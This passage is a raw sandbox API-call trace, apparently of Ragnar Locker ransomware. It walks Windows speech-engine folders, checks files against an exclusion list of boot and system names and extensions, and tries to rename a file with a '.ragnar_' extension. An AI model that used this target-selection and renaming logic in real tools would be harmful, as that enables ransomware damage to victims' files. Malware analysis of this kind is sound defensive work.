Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13e8 [0078.541] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0078.541] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.541] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0078.541] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0078.541] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.541] FindClose (in: hFindFile=0x5a13e8 | out: hFindFile=0x5a13e8) returned 1 [0078.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*.*", lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13e8 [0078.541] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.541] FindNextFileW (in: hFindFile=0x5a13e8, lpFindFileData=0x1e9740 | out: lpFindFileData=0x1e9740*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0078.541] FindClose (in: hFindFile=0x5a13e8 | out: hFindFile=0x5a13e8) returned 1 [0078.541] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0078.541] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2=".") returned 1 [0078.541] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="..") returned 1 [0078.541] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0078.541] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2=".") returned 1 [0078.541] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="..") returned 1 [0078.541] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0078.541] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.541] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a13a8 [0078.541] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.541] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0078.541] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc84877a0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc84877a0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x5b400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSFrontendENU.dll", cAlternateFileName="")) returned 1 [0078.542] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x49 [0078.542] lstrcpyW (in: lpString1=0x1ea09c, lpString2="MSTTSFrontendENU.dll" | out: lpString1="MSTTSFrontendENU.dll") returned="MSTTSFrontendENU.dll" [0078.542] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSFrontendENU.dll") returned=".dll" [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="autorun.inf") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="boot.ini") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="bootfont.bin") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="bootsect.bak") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="bootmgr") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="bootmgr.efi") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="bootmgfw.efi") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="desktop.ini") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="iconcache.db") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="ntldr") returned -1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="ntuser.dat") returned -1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="ntuser.dat.log") returned -1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="ntuser.ini") returned -1 [0078.542] lstrcmpiW (lpString1="MSTTSFrontendENU.dll", lpString2="thumbs.db") returned -1 [0078.542] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.542] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.542] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.542] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 1 [0078.542] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", nBufferLength=0x104, lpBuffer=0x1ea010, lpFilePart=0x1ea4bc | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*.*", lpFilePart=0x1ea4bc*="*.*") returned 0x49 [0078.542] lstrcpyW (in: lpString1=0x1ea09c, lpString2="MSTTSLoc.dll.mui" | out: lpString1="MSTTSLoc.dll.mui") returned="MSTTSLoc.dll.mui" [0078.542] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui") returned=".mui" [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="autorun.inf") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="boot.ini") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="bootfont.bin") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="bootsect.bak") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="bootmgr") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="bootmgr.efi") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="bootmgfw.efi") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="desktop.ini") returned 1 [0078.542] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="iconcache.db") returned 1 [0078.543] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="ntldr") returned -1 [0078.543] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="ntuser.dat") returned -1 [0078.543] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="ntuser.dat.log") returned -1 [0078.543] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="ntuser.ini") returned -1 [0078.543] lstrcmpiW (lpString1="MSTTSLoc.dll.mui", lpString2="thumbs.db") returned -1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".db") returned 1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".sys") returned -1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".dll") returned 1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".lnk") returned 1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".msi") returned 1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".drv") returned 1 [0078.543] lstrcmpiW (lpString1=".mui", lpString2=".exe") returned 1 [0078.543] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui")) returned 0x20 [0078.544] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0078.544] CloseHandle (hObject=0xffffffff) returned 0 [0078.544] lstrcpyW (in: lpString1=0x1e9530, lpString2="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" [0078.544] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui.ragnar_FD7BD9FC" [0078.544] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\MSTTSLoc.dll.mui.ragnar_FD7BD9FC" (normalized: "c:\\program files\\common files\\speechengines\\microsoft\\tts20\\en-us\\msttsloc.dll.mui.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0078.544] FindNextFileW (in: hFindFile=0x5a13a8, lpFindFileData=0x1ea218 | out: lpFindFileData=0x1ea218*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2c77e3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2c77e3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll.mui", cAlternateFileName="")) returned 0 [0078.544] FindClose (in: hFindFile=0x5a13a8 | out: hFindFile=0x5a13a8) returned 1 [0078.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0078.544] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2=".") returned 1 [0078.544] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="..") returned 1 [0078.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0078.544] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2=".") returned 1 [0078.544] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="..") returned 1 [0078.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0078.544] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2=".") returned 1 [0078.544] lstrcmpiW (lpString1="MSTTSLoc.dll", lpString2="..") returned 1 [0078.544] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6d522f4, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc6d522f4, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3739a960, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2600, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0078.544] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0078.544] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5a1368 [0078.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0078.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0078.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc536f5be, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc536f5be, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x36fbb600, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0078.545] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0078.545] lstrcpyW (in: lpString1=0x1eab68, lpString2="MSTTSCommon.dll" | out: lpString1="MSTTSCommon.dll") returned="MSTTSCommon.dll" [0078.545] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSCommon.dll") returned=".dll" [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="autorun.inf") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="boot.ini") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="bootfont.bin") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="bootsect.bak") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="bootmgr") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="bootmgr.efi") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="bootmgfw.efi") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="desktop.ini") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="iconcache.db") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="ntldr") returned -1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="ntuser.dat") returned -1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="ntuser.dat.log") returned -1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="ntuser.ini") returned -1 [0078.545] lstrcmpiW (lpString1="MSTTSCommon.dll", lpString2="thumbs.db") returned -1 [0078.545] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.545] lstrcmpiW (lpString1=".dll", lpString2=".sys") returned -1 [0078.545] lstrcmpiW (lpString1=".dll", lpString2=".dll") returned 0 [0078.545] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc982ab94, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc982ab94, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x3702e1f0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x2c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0078.545] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x43 [0078.545] lstrcpyW (in: lpString1=0x1eab68, lpString2="MSTTSEngine.dll" | out: lpString1="MSTTSEngine.dll") returned="MSTTSEngine.dll" [0078.545] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\MSTTSEngine.dll") returned=".dll" [0078.545] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0078.545] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="autorun.inf") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="boot.ini") returned 1 [0078.545] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="bootfont.bin") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="bootsect.bak") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="bootmgr") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="bootmgr.efi") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="bootmgfw.efi") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="desktop.ini") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="iconcache.db") returned 1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="ntldr") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="ntuser.dat") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="ntuser.dat.log") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="ntuser.ini") returned -1 [0078.546] lstrcmpiW (lpString1="MSTTSEngine.dll", lpString2="thumbs.db") returned -1 [0078.546] lstrcmpiW (lpString1=".dll", lpString2=".db") returned 1 [0078.546] lstrcmpiW (lpString1=".dll", 